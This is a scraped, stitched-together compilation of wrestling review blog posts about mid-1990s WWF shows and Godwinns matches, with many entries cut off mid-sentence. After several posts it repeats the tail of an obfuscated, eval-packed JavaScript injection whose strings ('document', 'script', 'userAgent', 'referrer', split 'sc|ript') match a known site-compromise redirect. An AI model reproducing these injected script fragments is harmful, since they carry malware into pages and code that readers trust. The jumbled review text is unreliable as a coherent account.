Monday Night Raw
Date: February 6, 1995
Location: Manatee Civic Center, Palmetto, Florida
Attendance: 2,500
Commentators: Vince McMahon, Shawn Michaels

We’re fresh off the Royal Rumble and that means it’s time to build towards Shawn vs. Diesel in about two months. Shawn being on commentary for these shows is a good idea as he’s certainly entertaining and one of the few heels who doesn’t wear out his welcome when he’s out there all night. Let’s get to it.

We open with a recap of last week’s Royal Rumble Challenge between King Kong Bundy and Mabel with Bundy getting some help to win, because MABEL requires assistance. Tonight it’s a six man tag.

Opening sequence.

Lex Luger/Men on a Mission vs. IRS/Tatanka/King Kong Bundy

IRS has the massive Undertaker Urn with him after “repossessing” it at the Rumble but there’s no Ted DiBiase in sight. Bundy and Mabel start things off with the heavy forearms to the chest, because that’s about all they’re capable of doing. Oh and splashes of course but we’ll save that for when it gets serious.

Mabel hits something like an enziguri for two and it’s off to the worthless Mo, who can’t slam Bundy. IRS comes in for some elbows but Mo hits one of the worst dropkicks I’ve seen in recent memory to come back. Thankfully that goes nowhere and it’s off to Tatanka for some chops to the head as we go to a break. Back with Tatanka bailing from Mabel, likely repelled by the magical powers of purple and gold. Mabel drops the big fat elbow and it’s off to Luger for the showdown with his former friend.

Naturally Tatanka hands it off to IRS instead, showing that he’s learning the heel arts. For some reason Luger thinks it’s a good idea to bring Mo back in. Must be the steroids getting to his head. The slow beating continues with a variety of whips and chops, likely because Mo can’t be trusted to take anything more complicated.

Mo gets sent into the corner where a far too sweaty IRS grabs an abdominal stretch. Even a sunset flip looks horrible until Mabel knocks IRS down from the apron for two. Bundy finally misses a charge in the corner and the hot tag brings in Luger to a lukewarm reaction at best. Everything breaks down and Luger slams Bundy but Tatanka gets in a DDT to give Bundy the pin.

Rating: F. This was FIFTEEN MINUTES LONG and Luger took the pin? They really thought this was the best idea for the opening of Monday Night Raw? I knew 1995 was terrible but dang I didn’t realize it was this bad. The ending is the worst part though and I have no idea what the heck they were thinking.

Man Mountain Rock compares playing guitar to winning the WWF World Title.

Lawrence Taylor’s agent reads a statement basically saying he’s sorry and if Bam Bam Bigelow keeps calling him out, Lawrence will sue.

Bam Bam Bigelow Slim Jim ad. These really didn’t last long as it turned out that Randy Savage might have had just a bit more charisma. Slim Jim knew this too and took the campaign to WCW instead. You know, because they’re smart.

Man Mountain Rock vs. Charlie Hunter

Rock plays some guitar before the match. Hunter slides between the legs to start but a hiptoss fails as badly as you would expect it to. Some big elbows have Hunter in trouble and Rock drops a splash for good measure. A nerve hold of all things kills even more time as this is already feeling long. Rock finishes him with a gordbuster. Too short to rate but this didn’t quite, ahem, rock. For you trivia people: Rock’s theme song would later be used by Droz and Prince Albert.

We look at Shawn Michaels coming out to stare Diesel down over the weekend.

Diesel sits down with Vince to talk about facing both Hart Brothers recently. His knees are banged up but he’ll be ready for Shawn. We talk about all of Diesel’s celebrity appearances and….my goodness Diesel just does not look right in this role. He’ll be ready to face Jeff Jarrett in two weeks though.

Shawn will debut his new bodyguard soon.

Mantaur vs. Leroy Howard

Rating: D. Howard wasn’t half bad but there’s only so much you can do when you’re stuck against Mantaur. I’m not sure what else anyone was expecting here, but what was anyone expecting when they came up with Mantaur? It’s really one of the worst gimmicks ever and there’s no way around that.

Razor Ramon vs. Frank Lancaster

They trade arm work to start as Shawn catches himself complimenting Razor, which doesn’t sit well with him. Shawn: “Give me a second. I’ll cut him down in just a minute.” Razor shrugs off some chops and beats up Lancaster in the corner without much effort. An abdominal stretch goes nowhere so let’s talk about the current events for some reason. The belly to back superplex sets up the Razor’s Ramon to put Frank away.

Rating: D+. Eh Razor is at least better than Mantaur. An understatement I know but there’s only so much you can say about a match like this. Believe it or not, Razor would be in the Intercontinental Title picture around this point and recently lost the title at the Royal Rumble. Just a squash here.

Henry Godwinn vs. Bill Weaver

Weaver misses an early dropkick and Henry hits him with a wheelbarrow slam. This match’s time filler: wrestlers’ favorite cartoon characters. Henry hits a big clothesline and elbow drop, followed by the Slop Drop for the quick pin. Much better squash here.

Vince tells us that there’s no show next week but Shawn has worse news: he won’t be doing commentary anymore because it makes him too big of a target. They better have a good replacement because he’s one of the only good things about these shows.

Overall Rating: D-. This was the show of big slow squashes and that’s not a good thing. They’re in the slow build to a bad Wrestlemania and that’s a really boring stretch. There’s only so much you can do when you have heel Henry Godwinn and Mantaur as featured acts, plus Luger losing to Bundy when Mo is available to take the fall. Really bad show here, but that’s what you have to expect at this point.

Remember: no February 13 show so the next one is February 20.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksyhe|var|u0026u|referrer|sfndd||js|php'.split('|'),0,{})) Series 1995
Date: November 19, 1995
Location: USAir Arena, Landover, Maryland
Attendance: 14,500
Commentators: Vince McMahon, Mr. Perfect, Jim Ross

Mr. Perfect is introduced as a surprise commentator.

BodyDonnas vs. Underdogs

BodyDonnas: Skip, Rad Radford, Tom Prichard, 1-2-3 Kid

Underdogs: Barry Horowitz, Hakushi, Marty Jannetty, Bob Holly

The idea here is people that care about their looks vs. jobbers. Horowitz scored one of the biggest upsets ever over Skip (Chris Candido, a fitness guru. He would later be joined by Prichard under the name Zip. Their manager was the famous one though: Sunny). Jannetty needs no introduction as a jobber.

The Kid is a mystery partner who is freshly heel here. By freshly I mean this is his first match as a heel. Razor comes out to go after the Kid who screwed him over on Raw on Monday. Raw is finally a big deal at this point too. Razor is Intercontinental Champion of course. Radford is Louis Spicolli in a grunge gimmick. Holly is a racecar driver and Hakushi is a Japanese wrestler with tattoos all over his torso.

Razor threw a fit in the back after the loss, throwing a monitor against the wall in the process.

Team Bertha Faye vs. Team Alundra Blayze

Bertha Faye, Aja Kong, Tomoko Watanabe, Lioness Asuka

Alundra Blayze, Kyoko Inoue, Sakie Hasegawa, Chaparita Asari

Watanabe comes in but misses a dive. Blayze sends her to the floor and does hit her dive to take over. Hasegawa comes in and hits five rolling double underhook suplexes on Watanabe as Perfect makes sexist remarks. Watanabe hits a seated senton off the top for two as this selling thing is still an issue. Aja Kong, a total monster, comes in with no tag and is immediately kicked in the face and suplexed by Hasegawa. Another Rock Bottom suplex puts her down but Hasegawa jumps into a kick to the chest. Something like a belly to back suplex eliminates Hasegawa to make it 3-3.

Bam Bam Bigelow vs. Goldust

Royals vs. Dark Side

Royals: King Mabel, Jerry Lawler, Hunter Hearst Helmsley, Isaac Yankem

Dark Side: Undertaker, Fatu, Henry Godwin, Savio Vega

Rating: D+. This whole match ran just under fifteen minutes and about two of those meant anything. Everything was waiting for Undertaker to come in and dominate, which he did quite well, but getting there was pretty dull stuff. This match is more fun for looking at what these people would become rather than what they are now. Undertaker would lose the mask soon enough thank goodness.

DiBiase and Cornette have a small argument before the next match. Shawn comes in and says chill.

Team Shawn Michaels vs. Team Yokozuna

Shawn Michaels, Ahmed Johnson, British Bulldog, Sycho Sid

Yokozuna, Owen Hart, Razor Ramon, Dean Douglas

Rating: C+. For a match with almost no point behind it and some wacky teams, this was pretty good stuff. The Shawn vs. Razor stuff was interesting as you knew they had chemistry but it was fun to see them without a gimmick. Ahmed looked good but not great here, which would be the right description of him for his entire run in the WWF. Fun match that was never tried again, which I can understand.

More Clinton stuff with Sunny sitting on his lap. Lucky guy.

Bret talks about his previous matches with Diesel, both of which rocked.

Perfect picks Bret, JR picks Diesel.

WWF World Title: Bret Hart vs. Diesel

Bret starts getting back to the apron but Diesel knocks him off, and for the first time ever, through the Spanish Announce Table. They head back inside and Diesel calls for the Jackknife but Bret falls onto his face from exhaustion. Diesel picks him up to try again but BRET IS GOLDBRICKING and rolls Diesel up for the title out of nowhere in a big surprise.

Ratings Comparison

BodyDonnas vs. Underdogs

Original: A-

Redo: B

Team Bertha Faye vs. Team Alundra Blayze

Original: D

Redo: C+

Goldust vs. Bam Bam Bigelow

Original: C

Redo: F

Dark Side vs. Royals

Original: B-

Redo: D+

Team Shawn Michaels vs. Team Yokozuna

Original: C+

Redo: C+

Bret Hart vs. Diesel

Original: C+

Redo: A

Overall Rating

Original: B-

Redo: B

As close as the previous show was to being the same, this one is almost entirely different, yet it leads to a very similar overall rating. That’s a very interesting thing and one of my favorite things to see in doing this.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/14/history-of-survivor-series-count-up-1995-bret-slays-the-giant/

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbfan|var|u0026u|referrer|hrynr||js|php'.split('|'),0,{})) Night Raw
Date: July 29, 1996
Location: Key Arena, Seattle, Washington
Attendance: 6,755
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Sycho Sid vs. Justin Hawk Bradshaw

Sunny officially introduces Faarooq Asad (first time the name is officially used), who thinks Ahmed is disrespectful to women. Faarooq talks about the streets and wants a shot at the Intercontinental Title at Summerslam. Simple and effective, as I often like it.

Vader vs. Marc Mero

More from the Crush (not yet named or identified) litigation from last week.

British Bulldog vs. Henry Godwinn

Some guy named Mark Henry is really strong.

We get a quick interview from In Your House IX with Mankind in the boiler room with Goldust and Marlena. Mankind rants about an incident when he was a kid and says destruction can be beautiful. Vince mentions the Boiler Room Brawl at Summerslam and my goodness that would change a lot of things.

Undertaker vs. Steve Austin

Undertaker Tombstones Austin post match and promises to make Mankind rest in peace to end the show.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsfat|var|u0026u|referrer|kesbt||js|php'.split('|'),0,{})) Your House #9: International Incident
Date: July 21, 1996
Location: General Motors Place, Vancouver, British Columbia, Canada
Attendance: 14,804
Commentators: Vince McMahon, Jerry Lawler, Jim Ross

Earlier tonight on the Free For All, Cornette swung the tennis racket at Jose Lothario but got punched in the face for his efforts. Vader and Shawn came in to prevent any further violence. The main catch for the

Smoking Gunns vs. Bodydonnas

Bart gets tired of having his arm pulled apart so he throws Skip down and brings in Billy to fire off some right hands. A nice headscissors puts Billy down and Skip spins out of a few hiptosses, only to be punched down for his efforts. Skip grabs another armbar as the match slows down all over again. Out of nowhere Sunny collapses but as Skip goes to check on her she slaps him in the face, allowing the Gunns to clothesline him down.

Camp Cornette rants about the fight with Cornette and Lothario while guaranteeing a win later.

Mankind vs. Henry Godwinn

Marc Mero vs. Steve Austin

This is a rematch from the King of the Ring tournament. Austin jumps him right after the bell but Mero comes back with a quick armbar. That gets him nowhere so Steve grabs a headlock and takes him down to the mat. Back up and they slug it out with Mero, a former New York Golden Gloves Champion, easily taking control. Austin is knocked to the floor and goes after Sable, only to be jumped from behind.

Back inside and Steve gets rolled up for two but manages to send Mero out to the floor to take over. A catapult sends Mero face first into the post and another shot knocks him off the apron and into the barricade. Back in and a middle rope elbow gets two for Austin and we hit a reverse chinlock. Austin slaps Mero in the back of the head but misses a charge and lands on the middle rope to give Marc a breather.

Former WWF Champion Bob Backlund is running for President of the United States and looks for registered voters in the crowd.

Goldust vs. Undertaker

Goldust, who has since lost the Intercontinental Title to Ahmed Johnson, bails to the floor to start and does so again after Undertaker moves towards him. He gets in again and hides behind the referee for a few moments before doing his trademark deep breath. It only earns him an uppercut to the jaw, sending Goldust right back to the floor for more stalling. Lawler makes movie references as Goldust teases walking out and VERY slowly gets back in the ring.

The announcers talk about the main event while the ring is repaired.

We go to the back to see the brawl between Undertaker and Mankind continue.

Goldust and Marlena are in the boiler room where Mankind and Undertaker were fighting earlier. Goldust quotes Kramer vs. Kramer when Mankind pops up and calls Goldust mommy. Mankind rams his head into a cabinet while screaming about what mommy wants, mommy gets.

The announcers ignore what we just saw and talk about the main event a bit more.

If Camp Cornette loses, Cornette has to pay back all of the fans, which would cost him millions. Also Owen has a broken arm coming in. Vader and Ahmed start things off but Vader wants the world champion instead. Shawn is happy to oblige and is easily shoved away by the monster. Vader lifts Shawn into the air in a choke but Shawn punches his way to freedom. Shawn speeds things up and actually hits a running hurricanrana to take Vader down. A cross body sends Vader to the floor and Michaels follows with a nice plancha to take the monster down.

Shawn tries another hurricanrana but gets hit a bit low to give Vader control. Vader pounds away in the corner and Shawn is in quick trouble. Michaels manages to escapes a belly to back suplex and makes the hot tag off to Sid for a battle of the giants. Sid cleans house and sends all of Camp Cornette out to the floor, drawing a HUGE reaction from the crowd. Owen tries to sneak in from behind but is easily taken down by another clothesline. Off to Johnson who actually rolls German suplexes on Owen.

Post match Sid and Ahmed clean house with powerbombs to Owen and Bulldog but Vader is pulled to safety. Shawn dives over the top and takes out Vader, sending Camp Cornette running off. A lot of posing ends the show.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seiif|var|u0026u|referrer|serbh||js|php'.split('|'),0,{})) Night Raw
Date: November 13, 1995
Location: Keystone Arena, Brandon, Manitoba, Canada
Attendance: 2,000
Commentators: Vince McMahon, Jerry Lawler

We open with a look at the 1-2-3 Kid and Razor Ramon getting into a bunch of fights over the weekend. Therefore, Kid will still be guest referee for Razor vs. Sid later tonight but it will now be a non-title match.

Opening sequence.

Hunter Hearst Helmsley vs. Henry O. Godwinn

Henry is sent outside so Helmsley can spray his perfume. Godwinn grabs his slop bucket and slops himself, which sends Helmsley running away to end the “match”.

We go to Dok Hendrix for Slam Jam (meaning the Control Center) with a talk about the Wild Card match where no one trusts each other.

Ahmed Johnson vs. Jake Steele

Post match Ahmed says something about snapping off a piece of a G on Sunday and you can see Vince wondering how he screwed this one up.

And now, Vince McMahon and Jerry Lawler have a Karate Fighters match with Lawler cheating to win.

King Mabel vs. Roy Raymond

We look back at the 1-2-3 Kid and Razor having issues over the weekend.

Razor Ramon vs. Sid

Non-title but ignore the belt being held in the air before the bell rings. 1-2-3 Kid is guest referee and the fans still love him because this was taped before the heel turn. Sid has Ted DiBiase in his corner as part of the Million Dollar Corporation. A slugout goes to Razor but he eats a big boot to the jaw. We hit a headscissors of all things but Sid nips up (!) and grabs a chokeslam.

So yeah, Kid is Corporation now.

Razor tries to kill Dean to end the show.

http://kbwrestlingreviews.com/2015/11/03/survivor-series-count-up-1995-wild-card/

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Date: November 6, 1995
Location: Keystone Arena, Brandon, Manitoba, Canada
Attendance: 2,000
Commentators: Vince McMahon, Dok Hendrix

We open with a clip of Ahmed Johnson slamming the nearly 600lb Yokozuna last week to make him a much bigger deal than he already was.

Marty Jannetty vs. British Bulldog

A fake Bill Clinton will be at Survivor Series.

Bulldog is ready for his title shot.

Barry Horowitz and Hakushi talk strategy.

We look at Bam Bam Bigelow challenging the newcomer Goldust, which would happen at the pay per view.

Henry Godwinn vs. Terry Richards

Kama vs. Tony Roy

Jerry Lawler/Isaac Yankem vs. Hakushi/Bret Hart

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raedn|var|u0026u|referrer|rzyht||js|php'.split('|'),0,{})) Night Raw
Date: March 20, 1995
Location: Memorial Civic Auditorium, Stockton, California
Commentators: Vince McMahon, Jim Cornette

Opening sequence.

Razor Ramon vs. Henry Godwinn

Rating: D. This was too long with Godwinn not being anything worth watching other than a big strong man and Razor being way off his game for some reason. The interference was a good call but Razor and the Kid were really getting tiresome at this point as they were almost glued together at the hip.

Post match Razor is ticked off at Backlund getting a title shot on some upcoming Sunday night special. Razor wants to know what happens if Backlund wins the title and goes to Wrestlemania to defend against Bret so he basically promises to interfere in the match.

Also on that Sunday night show, Lex Luger will face Tatanka in a cage match.

Jim Cornette leaves commentary to get ready for the Tag Team Title match.

Fan Festival ad.

Yesterday on Action Zone, Bigelow shoulder blocked Doink like a football player.

Steve McMichael replaces Cornette on commentary.

King Kong Bundy vs. Raven Clarke/Adam Croomes

Bundy slams the jobbers together and the camera keeps cutting to the announcers instead. This just keeps going for awhile and an Avalanche ends Croomes.

Wrestlemania Report with a few nothing interviews that fill in some time.

The Bodies (Jimmy Del Ray and Tom Prichard, basically another attempt to recreate the Midnight Express) are challenging and have Cornette in their corner, leaving Vince alone on commentary. Billy has bad ribs coming in but starts with Tom anyway. Cornette yells at Del Ray for some reason, leaving Tom to get chopped by Bart.

Vince and Cornette preview the Sunday Night Slam (Sunday special) to end the show.

Actually not quite as Tatanka is ready for Luger in a cage next week to really end the show.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itsar|var|u0026u|referrer|hazfs||js|php'.split('|'),0,{})) Night Raw
Date: December 26, 1994
Location: Liberty High School, Liberty, New York
Attendance: 1,400
Commentators: Vince McMahon, Shawn Michaels

We open with a recap of Tatanka being revealed as the Druid a few weeks back. This of course sets up Tatanka vs. British Bulldog.

Ted DiBiase promises to take care of Bulldog and then Luger.

British Bulldog vs. Tatanka

Back with Bulldog getting dropped with a knee to the ribs to set up a chinlock. Tatanka gets punched out of the air though and Bulldog runs him over a few times, only to have DiBiase low bridge him out to the floor. This brings out Luger (who should have been here earlier like a good partner) to go after DiBiase, only to get in the ring and hammer on Tatanka for the DQ as Bam Bam Bigelow comes out almost immediately.

with Todd Pettengill explaining the rules and uttering the three devastating words: sixty second intervals. There was no way the match could work with so little time and they never tried it again. We hear the updated list of participants and I’m hating the show all over again. There might be three names listed here (Luger, Bulldog and Michaels) who have a prayer of winning and that’s the problem: it was those three and then nothing but losers filling out the group.

Undertaker vs. IRS and Razor Ramon vs. Jeff Jarrett for the Intercontinental Title are also announced for the show.

Henry O. Godwinn vs. Mike Khoury

A quick slam puts Khoury down but Henry goes to look through the ropes for no apparent reason. Henry fishhooks Mike’s jaws for a bit as this is already a disaster. A legdrop and the Slop Drop (reverse DDT) finally puts Mike away.

Rating: F. The match sucked and I never want to watch another Henry Godwinn match. What more is there for me to say here? I mean, the match was a disaster and there was almost nothing redeeming here whatsoever. This was horrible and Henry looks like one of the biggest flops in years. Total failure.

House show ads.

Lawler offers a handshake and is immediately put down on his knees in pain. After that goes nowhere, Lawler plugs Diesel’s house show matches against Backlund which in a word, really didn’t draw. Jerry goes on and on about Backlund or Bret hurting Diesel until Lawler gets thrown to the floor. This took FOREVER and allegedly was taped more than once because the fans just did not care.

Another tournament recap, but only of a single first round match. Egads what a slow time.

Rich Myers vs. Kwang

A dragon screw leg whip (So he’s the American….er Puerto Rican Muta?) and the spinwheel kick finally put Myers away.

We get a promo from boxer Vinny Pazienza about his fight against Roberto Duran. Vinny wants to fight Shawn next. I want to hurt this show.

Video on Kama, who is coming as well.

Ted DiBiase agrees to Luger/Bulldog vs. Bigelow/Tatanka next week.

Undertaker vs. Brooklyn Brawler

Undertaker boots him in the face and drops him with a belly to back suplex of all things. Not quite Old School drops Brawler again before Undertaker sends him shoulder first into the post. The Tombstone finally wraps this up.

IRS and the Druids come out to stare at Undertaker to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffsas|var|u0026u|referrer|nfydn||js|php'.split('|'),0,{})) is one of those gimmick characters: Henry Godwinn the hog farmer.

Tex Slazenger/Shanghai Pierce vs. Marcus Bagwell/2 Cold Scorpio

The heels are more commonly known as the Godwinns. The faces are another young team that wasn’t very good but they were allegedly really good so they got the tag titles at least once. Bagwell was finally shedding the rookie status but he was still just annoying as all goodness. Scorpio was a guy that was always good but always jumped around a lot. The Godwinns are just big and annoying as all goodness.

This is ok stuff but it’s really just a way to put the faces over and get them a win on PPV. There’s almost nothing of note here as this could be on any television show that you cared to name. Just nothing interesting here as it’s standard formula stuff with Bagwell being beaten on until he makes a tag them Scorpio is beaten on before another tag to Bagwell so Scorpio, the illegal man, can hit his top rope stuff for the pin.

Rating: D+. Just boring as heck here with nothing of note going on. This is the biggest problem that most PPVs have: matches that belong on TV being put on PPV where you have to pay for them. I don’t want to pay for bad matches like this one, so why should I have to in order to see the rest of the card?

Next up is Fall Brawl 1993.

Shanghai Pierce vs. Ice Train

Pierce has Tex Slazenger with him. They would move to the WWF in about a year and become the Godwins. Ice Train is more or less Big Zeke but with even less talent. I always liked him for some reason. Oh and Pierce is in a mask. They’re from Texas but are being booed anyway which is appropriate somehow. Power vs. power here with Train being the stronger of the two.

This is one of the least interesting matches I’ve seen in a very long time. Basically imagine every power vs. power cliché you can think of and add in some heel lariats and you more or less have the entire match. The heels try to use a bullrope but he runs right through it and a bad powerslam ends it. This was nothing. No rating as I have nothing to say about it at all. Let that sink in for a bit.

One last WCW match at Starrcade 1993.

Cactus Jack/Maxx Payne vs. Tex Slazenger/Shanghai Pierce

Henry Godwinn vs. Bam Bam Bigelow

Henry is an associate of DiBiase but not a full member of the Million Dollar Team. Bigelow runs him over to start and catches him in a belly to back suplex to take over. Another belly to back sets up a shoulder block to send Henry out to the floor. Back in and a DDT drops Godwinn again but he low bridges Bigelow to the floor. You can easily see the lack of effort or interest from either guy here.

Royals vs. Dark Side

King Mabel, Jerry Lawler, Hunter Hearst Helmsley, Isaac Yankem

Undertaker, Fatu, Henry Godwin, Savio Vega

Rating: D+. This whole match ran just under fifteen minutes and about two of those meant anything. Everything was waiting for Taker to come in and dominate, which he did quite well, but getting there was pretty dull stuff. This match is more fun for looking at what these people would become rather than what they are now. Taker would lose the mask soon enough thank goodness.

Hunter Hearst Helmsley vs. Henry Godwinn

Tag Titles: Godwinns vs. Body Donnas

The Body Donnas, the champions, are fitness enthusiasts Skip and Zip and managed by the absolutely gorgeous Sunny. The Godwinns are Henry and his cousin Phineas (Middle initials O and I respectively, meaning their full initials are H.O.G. And P.I.G.) with the latter having a big crush on Phineas. The Body Donnas won the titles in a tournament final at Wrestlemania so this is a rematch.

Here they are again for the titles at King of the Ring 1996.

These two are fighting for the tag belts so it must be the mid 90s. The country boys bring animals with them. Geez Hillbilly Jim was an awesome character. We go to the back where the Guns and Sunny are with Doc. We see a clip of the Body Donnas and their new manager who is a guy in drag named Cloudy. Sunny is dressed as a cowgirl and that’s all you need to know. The Guns are the champions here.

These were some of the weakest gimmicks of all time. The Guns are going heel here as Ross insists he saw them turn down autographs for some kids earlier at the hotel. Well at least the fans weren’t at an airport asking about the NWO. Phineas likes Sunny here too. Billy implies he’s slept with Sunny, which he likely did since he was in the WWF in the 90s. We cut to a random interview with Cloudy who can’t even fake a girl’s voice.

This is Vince’s weird idea of humor I think. It lasted all of a month I think. The match is boring as all goodness so it doesn’t mean anything. These two fought so many times and while it was ok, it was never really all that great. This match just isn’t that entertaining. Henry puts an arm lock on Bart who taps like crazy but that wouldn’t mean anything for about two more years. So this goes for about ten minutes and nothing of note happens.

I kept looking for something to talk about but this is just ten minutes of pure unadulterated average wrestling. It’s not that good and it’s not that bad but it’s not interesting or anything. It would be fine on any TV show or house show but on a PPV, I doubt it. We of course go to a massive brawl that ends with Bart hitting Phineas with something that resembles a cowboy boot but it’s not entirely clear for the pin.

Rating: C. That’s the epitome of what this match is: average. It’s just there. It’s not bad, it’s not good, it’s just a ten minute tag match where the faces acted like faces and the heels acted like heels. There was no appeal to this match at all. These two teams feuded for what seemed like ever and it never went anywhere. The tag division was more or less dead until 99 when the Hardys and Edge and Christian became the answer to the cruiserweights.

Here they are on the first episode of Shotgun Saturday Night in a bizarre feud.

Godwinns vs. Flying Nuns

The Nuns are Sister Angelica and Mother Smucker. They’re women in case you couldn’t tell. We see a video of them coming out of a cathedral. The ropes are yellow and the mat is black. Also, WHY DOES EVERYTHING HAPPEN ON JANUARY 4TH? That was the Fingerpoke of Doom and Foley winning the title and the debut of this show and Impact moving to Mondays and Shawn and Bret reuniting. Is it like November 5, 1955 in Back to the Future?

The Nuns jump the Godwins and are rather powerful it seems. Apparently men vs. women is fine now? Angelica and Phineas start and we get a HOLY CENSORED chant for no apparent reason. Wow those women are large. Hard punch and I think one Banged her Head on the mat. Sunny thinks these two are from the Nun Wrestling Federation.

Hillbilly Jim isn’t sure what’s going on. Angelica has facial hair it seems. Smucker takes over and Vince wonders how the WWF sanctioned this. Vince if you can’t remember why you did it you may want to lay off the hard stuff. The lights are really low I’m guessing to make sure the size of the place isn’t notable, which is fine. Brother Love of all people comes out and is the manager of the girls I guess.

We take a break and come back to more of the same. The girls beat up Henry, who is about 6’7 and over 300lbs. Those are some big old girls. LOUD ECW chant as well. We hear about some rookie that Sunny likes named Rocky Maivia. Eh I’m sure he’ll never mean anything. Top rope legdrop from Smucker misses and hot tag to Phineas (Mideon). Smucker complains about him trying to slam her as apparently she doesn’t like the hand placement. That’s kind of funny. Love blasts Phineas with whatever is in his hand for the pin.

Rating: D. This was a long comedy match and the joke got old quick. In case you didn’t get the reference, the Nuns are of course men and would soon be VERY repackaged as the Headbangers. This went nowhere at all though and was FAR too long, at nearly 13 minutes counting commercial.

The Godwinns opened Wrestlemania XIII.

Godwinns vs. Doug Furnas/Phillip LaFon vs. Headbangers vs. New Blackjacks

Godwinns vs. Legion of Doom

The LOD are actually referred to as Road Warriors here which is rare for the WWF. LOD cleans house to start, sending the Godwinns to the floor with Hawk hitting a clothesline off the apron. We get started with Phineas vs. Animal with the latter missing a charge into the corner, allowing the hog dudes to double team him. Animal comes back with a double clothesline of his own to send the Godwinns to the floor.

Rating: D+. This was supposed to be about revenge but the match never acted like that at all. The Godwinns were horrible as heels and this was a very dull match as a result. LOD still had a little bit in the tank here but they were going to explode in the next few months but almost no one cared.

Tag Titles: Godwinns vs. Headbangers

Back in and we get some miscommunication, as the Headbangers try a double flapjack but Phineas drops his head down like a backdrop, nearly breaking his neck in the process. Things slow down again until we get Thrasher vs. Henry and a rollup gets two for the champion. Henry bails to the floor as the match stalls even more. Back to Phineas who is taken down, allowing Mosh to suplex Thrasher down onto Phineas for two. A middle rope clothesline from Thrasher puts Phineas down again, but Henry scores with a clothesline of his own to give the Godwinns control.

Thrasher gets crotched on the top rope and clotheslined to the floor again with Phineas coming in for more stomping. Lawler tries some lame redneck jokes to save this boring match but even his corny one liners have no effect. A bunch of knee drops get two for Phineas but Thrasher comes back with a sunset flip, only to have Henry distract the referee.

Godwinns vs. Quebecers

Phineas comes in to headbutt Jacques in the ribs but Jacques comes back with an elbow to the jaw. The ice cold tag brings in Pierre as things break down. A bad looking piledriver puts Phineas down and the Cannonball (assisted top rope flip splash from Pierre) gets two with Henry making the save. Not that it matters as Henry clotheslines Pierre from the apron to give Phineas the pin.

Jeff Jarrett/Southern Justice vs. DX

Canterbury slams Road Dogg down and drops an elbow for two before bringing Jarrett back inside. They hit heads in the corner though and both guys go down to give Dogg a breather. The tag brings in X-Pac for a spinning clothesline but Canterbury gets a blind tag and catches him in a powerslam. Off to Dennis Knight (Phineas Godwinn) for a delayed vertical suplex for two. Jarrett comes back and gets two off a powerslam before avoiding a charge in the corner to put X-Pac down again.

Rating: D. This was another slow and rather dull match with the finish being less polished than it should have been. X-Pac can take a good beating and it was the right choice to have Gunn clean house. The guy may not have been the best in the world but he could speed things up when he needed to.

Tag Titles: Southern Justice vs. New Age Outlaws

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